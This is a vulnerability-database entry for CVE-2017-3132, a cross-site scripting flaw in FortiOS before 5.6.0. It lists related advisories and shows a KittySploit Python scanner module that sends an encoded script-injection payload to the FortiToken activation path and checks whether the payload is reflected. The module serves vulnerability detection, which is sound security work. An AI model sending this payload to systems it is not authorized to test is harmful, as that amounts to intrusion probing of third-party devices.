Lucene search
+L

Fortinet FortiOS < 5.6.0 - Cross-Site Scripting Detection

🗓️ 28 Jul 2026 11:27:38Reported by KittySploitType 
kittysploit
 kittysploit
🔗 github.com👁 9 Views

Cross-Site Scripting in Fortinet FortiOS allows execution of unauthorized commands.

Related
Refs
Code
ReporterTitlePublishedViews
Family
zdt
zdt
FortiOS < 5.6.0 - Cross-Site Scripting Vulnerability
28 Jul 201700:00
–zdt
bdu_fstec
BDU FSTEC
FortiOS Web Interface XSS
31 Oct 201800:00
–bdu_fstec
circl
Circl
CVE-2017-3132
28 Jul 201700:00
–circl
cnvd
CNVD
Fortinet FortiOS Cross-Site Scripting Vulnerability (CNVD-2017-26262)
31 Jul 201700:00
–cnvd
cve
CVE
CVE-2017-3132
12 Sep 201702:00
–cve
cvelist
Cvelist
CVE-2017-3132
12 Sep 201702:00
–cvelist
exploitdb
Exploit DB
Fortinet FortiOS < 5.6.0 - Cross-Site Scripting
28 Jul 201700:00
–exploitdb
euvd
EUVD
EUVD-2017-12273
7 Oct 202500:30
–euvd
exploitpack
exploitpack
FortiOS 5.6.0 - Cross-Site Scripting
28 Jul 201700:00
–exploitpack
fortinet
Fortinet
FortiOS XSS vulnerabilities via FortiView Application filter, FortiToken activation & SSL VPN Replacement Messages
28 Jul 201700:00
–fortinet
Rows per page
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""A Cross-Site Scripting vulnerability in Fortinet FortiOS versions 5."""

from kittysploit import *
from lib.protocols.http.http_client import Http_client


class Module(Scanner, Http_client):
    __info__ = {
        'name': 'Fortinet FortiOS < 5.6.0 - Cross-Site Scripting Detection',
        'description': 'A Cross-Site Scripting vulnerability in Fortinet FortiOS versions 5.6.0 and earlier allows attackers to Execute unauthorized code or commands via the action input during the activation of a FortiToken.',
        'author': ['KittySploit Team'],
        'severity': 'medium',
        'tags': ['web', 'scanner', 'cve', 'cve2017', 'fortinet', 'fortios', 'xss', 'vuln'],
        'agent': {
            'risk': 'active',
            'effects': ['network_probe'],
            'expected_requests': 1,
            'reversible': True,
            'approval_required': False,
            'produces': ['tech_hints', 'risk_signals', 'endpoints'],
            'cost': 1.0,
            'noise': 0.3,
            'value': 1.0,
            'requires': {
                'min_endpoints': 0,
                'min_params': 0,
                'tech_hints_any': [],
                'tech_hints_all': [],
                'specializations_any': [],
                'risk_signals_any': [],
                'auth_session': False,
                'capabilities_any': [],
                'capabilities_all': [],
                'confidence_min': {},
                'confidence_min_any': {},
                'endpoint_pattern_any': [],
                'param_any': [],
                'api_surface_ready': False,
            },
            'chain': {
                'produces_capabilities': [
                    {
                        'capability': 'admin_surface',
                        'from_detail': '',
                    },
                ],
                'consumes_capabilities': [],
                'option_bindings': {},
                'suggested_followups': [],
            },
        },
        'references': ['https://www.exploit-db.com/exploits/42388', 'https://nvd.nist.gov/vuln/detail/CVE-2017-3132'],
        'cve': 'CVE-2017-3132',
    }

    def run(self):
        path = '/p/user/ftoken/activate/user/guest/?action=%3C/script%3E%3Cscript%3Ealert(document.domain)%3C/script%3E%3Cscript%3E'
        r = self.http_request(method='GET', path=path, allow_redirects=False)
        if not r or r.status_code != 200:
            return False
        body = r.text or ""
        content_type = r.headers.get("Content-Type") or r.headers.get("content-type") or ""
        body_any = ("var action = '</script><script>alert(document.domain)</script><script>",)
        ctype_any = ('text/html',)
        if (any(m in body for m in body_any)) and (any(m in content_type for m in ctype_any)):
            self.set_info(
                severity='medium',
                reason='Fortinet FortiOS < 5.6.0 - Cross-Site Scripting detected',
                path=path,
            )
            return True
        return False

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

28 Jul 2026 11:27Current
6.2Medium risk
Vulners AI Score6.2
CVSS 24.3
CVSS 36.1
EPSS0.08112
SSVC
9